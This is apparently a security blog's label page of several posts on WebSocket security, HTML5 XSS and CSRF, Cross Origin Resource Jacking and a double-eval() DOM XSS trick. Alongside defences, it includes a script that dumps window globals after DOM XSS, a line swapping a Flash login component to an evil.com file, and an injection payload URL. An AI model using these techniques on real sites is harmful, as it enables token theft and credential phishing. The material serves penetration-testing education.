Showing posts with label DOM based XSS. Show all posts
Showing posts with label DOM based XSS. Show all posts

WebSocket Security - Protecting streams Over HTTP

WebSocket is gaining popularity with HTML5 architecture and has wide support from various browsers now. WebSocket allows full duplex communication over TCP as defined in the RFC 6455. Applications need such fast connection with data push coming from servers over polling data time to time. Hence, during our testing we started getting applications running WebSocket. It is imperative to understand the threat model for WebSocket usage and some of the concerns. In this post we try to address this.

WebSocket support and overview

The WebSocket protocol has been defined in RFC 6455 (http://datatracker.ietf.org/doc/rfc6455/?include_text=1) along with the WebSocket API (https://w3c.github.io/websockets/).  Hence, it is possible to use API via JavaScript and embed code right into HTML pages. As soon as a connect call is made by the browser, the HTTP Server switches to WebSocket protocol when it come across an "Upgrade" request call from the client on the same TCP connection. Applications support WebSocket calls via specific URLs like ws:// and wss:// on the pages.

WebSocket has become an integral part of Browser's communication stack as shown below.
We covered a post in the past on new Architecture over here ( HTML5/Browser Evolution and Threats)



Following is a simple upgrade call coming from a browser to a HTTP server.

GET / HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Sec-WebSocket-Version: 13
Origin: http:// x.x.x.x
Sec-WebSocket-Extensions: permessage-deflate
Sec-WebSocket-Key: Ru+jZkzO8cdIIHtoe8b80g==
Connection: keep-alive, Upgrade
Upgrade: WebSocket

Now, if the server is supporting the protocol then it will allow switching by the following response.

HTTP/1.1 101 Switching Protocols
Upgrade: WebSocket
Connection: Upgrade
Sec-WebSocket-Accept: uRxNF7tq3wE+y/7EJjPbk1bPB5w=


Hence, at this point a tunnel is established and bi-directional communication can begin between client and server.If we look at API, then it is simple. Initializing WebSocket object

var WS = new WebSocket(“ws://api.target.example”);

Once that is done one can go ahead and use methods like onopen(), onmessage(), send() and close().

If you want to dig more into WebSocket –
http://www.html5rocks.com/en/tutorials/websockets/basics/

WebSocket usage

We have traditional web applications running over HTTP request and response. One of the problems with traditional usage of HTTP is of refresh and reload. Ajax helped, in a way, to solve this problem by making a quick async call and updating DOM. But in this mechanism, there is polling involved and it is not truly a faster bidirectional channel between the two. To improve overall efficiency one can use WebSocket in cases like the following :

1.     Multiuser gaming or chatting applications
2.     Pushing multimedia like voice, music, videos or large blobs
3.     Real-time updates like financial tickers, sports, tracking, feeds etc.

Also, developers are becoming innovative and utilizing JSON, XML etc. over WebSocket. Hence, there is no limit to how and where WebSocket calls can be used.

WebSocket threats and security concerns

WebSocket has some inherent weakness like allowing cross domain calls and few other issues. Hence, it is important to properly assess the threat model at development stage. Here are few issues one should check during testing -

Cross Domain Calls and Origin Checking

By design, WebSocket protocol doesn’t abide by SOP (Same Origin Policy). Hence, a browser can initiate a cross domain WebSocket call to any domain on the Internet. It is not required for an application to make calls to its own domain only. This can create issues and security threats. It allows an attacker to establish a connection or force any victim’s browser to initiate a connection as well. When WebSocket makes an “upgrade” call over HTTP, it sends “Origin: domain” header in the HTTP request. The browser itself adds this particular header based on its current state of DOM/location. This header cannot be tampered with by script. Hence, to avoid DoS and CSRF type attacks one can validate this header on server side before switching the protocol. Also, it is possible to perform DoS by opening multiple socket connections. One can avoid that by passing a token to the browser before protocol switching. Hence, only if protocol/upgrade switching request comes to the server with that token the server should allow the connection. This will avoid possibility of DoS.

CSRF with WebSocket and Stream hijacking

As discussed in the previous section about “Origin”, WebSocket is not following SOP. This allows an attacker to put a dummy page on Internet and drive someone to that particular page. As shown in the below figure, an attacker can leverage the following scenario:

  1. A user logs in to the system and establishes a session with proper authentication. User’s browser gets a cookie from the server for that particular application bound to the application domain. This cookie is going to replay in all other requests going from browser to the target domain.
  2. Application may establish legitimate WebSocket session as and when needed as shown in step 2 of the figure.
  3. Now, an attacker comes into picture and there is a page created with WebSocket calls pointing to the target application domain. If a user with an established session visits that page, like in traditional CSRF scenario, then he ends up establishing a WebSocket session since the cookie is going to replay. This allows the attacker to have a virtual tunnel created as shown in the figure. It is also important to observe over here that this session is two-way CSRF. In traditional CSRF we just get write/post access but in this case, since WebSocket is not following CORS either, the attacker is also allowed to read incoming stream from server. Hence, he ends up getting both read and write mechanism on stream. This ends up being stream hijacking.
Figure 1 – CSRF over WebSocket Streams

You can read more on this below. This attack is termed as CSWSH (Cross Site WebSocket Hijacking)
https://www.christian-schneider.net/CrossSiteWebSocketHijacking.html

Again, for defense one can verify “Origin” and add extra CSRF tokens to validate legitimate users for stream processing.

WebSocket and SSL

It is also important to know on which tunnel WebSocket is running. One needs to make sure that it is running over SSL channel. If calls are going over a non-SSL channel then it may end up leading to information leakage and other related attack vectors.

WebSocket and input validations

A WebSocket call fetches new data from a server and dynamically loads things in the existing DOM with various APIs. It is imperative to validate incoming content before loading into DOM and protect against DOM based XSS and other types of variants. Also, it is obvious to protect server side injections and streams going over DOM calls. Burp and ZAP both have capability for evaluating WebSocket calls.

WebSocket review Cheat Sheet

Following checks and validation can be made for WebSocket review :
  • Version check for browser and required support.
  • Application level authentication and authorization for sensitive data transfer.
  • Endpoint security with having wss://
  • DOM based protection by JSON.parse() over eval()
  • Validating “Origin:” at server end
  • CSRF type protection in place for streams

Conclusion

The WebSocket protocol is a really good and efficient way for communication in certain scenarios, but at the same time it brings a new set of threats. Hence, developers have to keep security issues in mind during implementation both at server as well as client end. Now a days, there are many applications on the Internet which are using WebSocket heavily. Also frameworks and technologies like Microsoft’s signal.r are based on WebSocket. There are many libraries available for implementation of WebSocket on the server side, but by default they do not check for security issues. Hence, one needs to keep security issues in mind while implementing them and while performing reviews.


Article by Amish Shah & Shreeraj Shah

XSS & CSRF with HTML5 - Attack, Exploit and Defense

HTML5 has empowered browser with a number of new features and functionalities. Browsers with this new architecture include features like XMLHttpRequest Object (L2), Local Storage, File System APIs, WebSQL, WebSocket, File APIs and many more. The browser is emerging as a platform like a little operating system and expanded its attack surface significantly. Applications developed in this new architecture are exposed to an interesting set of vulnerabilities and exploits. Both traditional vulnerabilities like CSRF and XSS can be exploited in this new HTML5 architecture. In this talk we will cover following new attack vectors and variants of XSS and CSRF.

HTML5 driven CSRF with XMLHttpRequest (Level 2)
CSRF with two way attack stream
Cross Site Response Extraction attacks using CSRF
Cross Origing Resource Sharing (CORS) policy hacking and CSRF injections
DOM based XSS with HTML5 applications
Exploiting HTML5 tags, attributes and events
DOM variable extraction with XSS
Exploiting Storage, File System and WebSQL with HTML5 XSS
Layered XSS and making it sticky with HTML5 based iframe sandbox
Jacking with HTML5 tags and features

In this session we will cover new methodology and tools along with some real life cases and demonstration. At the end we will cover some interesting defense methodologies to secure your HTML5 applications. My slides are as under (I will post video once get released)


Global Sensitive Information Extraction from DOM – post DOM based XSS


DOM centered single page HTML5 and Web 2.0 applications are using GLOBAL variables to manage client side critical information. During consulting we have seen few applications managing client side session data on GLOBALS. These global objects are using JSON or Array. In some cases they are string as well.

For example,
Once user gets authenticated it gets a Script tag and along with an array like below to set global set of variables.

var arrayGlobals = ['my@email.com',"12141hewvsdr9321343423mjfdvint","test.com"];

In many cases it has sensitive information like tokens, public profile URLs, private URLs for information access, cross domain oAuth values, user/pass as temp variables etc. It has interesting set of information and it can be extracted in case of DOM based XSS. These DOM driven applications are single page and these set of values are accessible across application life cycle.

Here is an example of extracting JSON, Array and string from browser. It can be used as part of XSS testing and exploitation once it is found. It is interesting to add in XSS exploitation tools like BeeF. We are using it with node.js and customized payload for our routine test cases.

Below script will look for object and using JSON.stringfy for Firefox only else jquery plugin can help.

for(i in window){
    obj=window[i];
    if(obj!=null||obj!=undefined)
        var type = typeof(obj);
        if(type=="object"||type=="string")
        {
                console.log("Name:"+i)
                try{
                    my=JSON.stringify(obj);
                    console.log(my)
                }catch(ex){}  
         }
}

Just to fetch extracted values we are running in firebug and redirecting on console.






Really interesting stuff – check with your popular mailing and social networking sites.

Cross Origin Resource Jacking (CORJacking) - DOM based attack vector


CSRF and UI Redressing (Click/Tab/Event Jacking) attack vectors are popular ways to abuse cross domain HTTP calls and events. HTML5, Web 2.0 and RIA (Flash/Silverlight) applications are loaded in browser with native state or using plug-ins. DOM used to be an integral part of the browser and now it is becoming even more important aspect with reference to web applications. Web applications are using DOM in very complex and effective way to serve their client better and leveraging all possible features allowed by DOM specifications.

There are many applications run as single DOM app and once it gets loaded, it remains in scope across the application life cycle. CORS and SOP have to play critical role in protecting Cross Origin Resources and control relevant HTTP calls. HTML5 and RIA applications are having various different resources like Flash files, Silverligh, video, audio etc. These resources are loaded in their own little object space which is defined by specific tag. These resources are accessible by DOM and can be manipulated as well. If DOM is forced to change underlying resource on the fly and replaced by cross origin/domain resource then it causes Cross Origin Resource Jacking (CROJacking).

Example,
Let’s assume there are two domains – foobank.com and evil.com. Foobank application is having flash driven application and it has its own login swf (login.swf) file. This flash component is loaded via object in the browser. If by DOM call this login.swf file is replaced by similar file residing on evil.com then it will cause CORJacking and user would be under impression that he/she is using foobank.com resources. Also, reverse would be possible as well. Evil.com loads resources residing on Foobank.com domain and it will cause reverse CORJacking.

Here is a small DEMO of CORJacking with Flash resource.

Here is the object tag loading flash component


HTML page is loaded in the browser and this object which is coming from foobank.com domain is being loaded. Assuming this page has DOM based issue and possible to inject/manipulate this value. Hence, if we want to access src of this object tag then through DOM we get its access.


Interestingly document.getElementsByName(‘Login’).item(0).src is not just read only value, one can assign a cross origin resource to it on the fly.

Hence, below line will actually change the resource and loads login.swf file from evil.com domain.

document.getElementsByName(‘Login’).item(0).src = ‘http://evil.com/login.swf’

This will clearly hijack the resource and user will be under impression that it is negotiating with foobank’s login component but actual component is from evil domain. This is the case of CORJacking and reverse can be done as well. Evil domain can load Foobank component and causes reverse CORJacking.

Since browser is allowing these Cross Origin Resource access one needs to embed defense in similar way we are doing for ClickJacking. Before component being loaded, component should have sense of domain and disallow its execution on cross domain as far as reverse CORJacking is concern. For CORJacking one needs to lock object using JavaScript, controlling stream and avoid DOM based injection issues to stop CORJacking exploitation.

[Note – This type of loading is not restricted to one type of resource only, it is applicable to different types of resources and browser's ability to process cross origin resource loading. It is possible to create various different variants of these attack vector like flashjacking, silverlightjacking, mediajacking etc. inherited from UI redressing family - interesting area for research, will add a paper on it soon.]




Double eval() for DOM based XSS


DOM based XSS are becoming relatively common with Web 2.0 and Ajax driven applications. DOM based applications are using eval() method to inject new stream into the existing DOM. In certain cases it is becoming tricky to pass on the values for pen-testing and to create an abuse/exploit scenario. Recently during consulting we came across different DOM based XSS and objective is to get a pop-up to confirm the vulnerability. If we get an eval call then it is possible to double eval-ing to convert text back into payload.

Here is a simple scenario; it can be complicated on case to case basis.
For example, we have following line in the code

eval('getProduct('+ koko.toString()+')');

Here “koko” is coming from URL or controlled by user. Hence, if we pass on the value in following URL it gets to the “getProduct” function.

Testing scenario is simple, it causes DOM based XSS with following condition.

We are passing payload terminating function, ending statement and commenting out rest of the script. We get a simple pop-up if we pass on following code.

But to prove a point if we want to craft any other payload where we need to send single quote, for example want to execute “document.getElementsByName('Login')” will not work since we have that single quote that will raise syntax error. For simplicity if we pass on alert(‘hi’), it will not work and we will not get popup in above scenario.

We get following error in the browser.

Error: syntax error
Source File: http://192.168.3.2/catalog.aspx?pid=3%27);elval(alert(%27hi%27));//
Line: 37, Column: 29
Source Code:
getProduct(3%27);elval(alert(%27hi%27));//)

Interestingly, we can leverage double eval() in this case, we pass on following payload and let’s see what happens…

It will avoid error and we will get a pop-up. What we did was simple, we used fromCharCode function and passed on decimal values for alert(‘hi’) here, first eval will convert it into string and second eval will execute the code. Hence, double eval can rescue while testing DOM based XSS.

Curiously I searched this trick on web if people are using it and came across this article - http://blogs.msdn.com/b/infopath/archive/2006/04/05/569338.aspx
Double eval() can be leveraged for string operations and concatenation.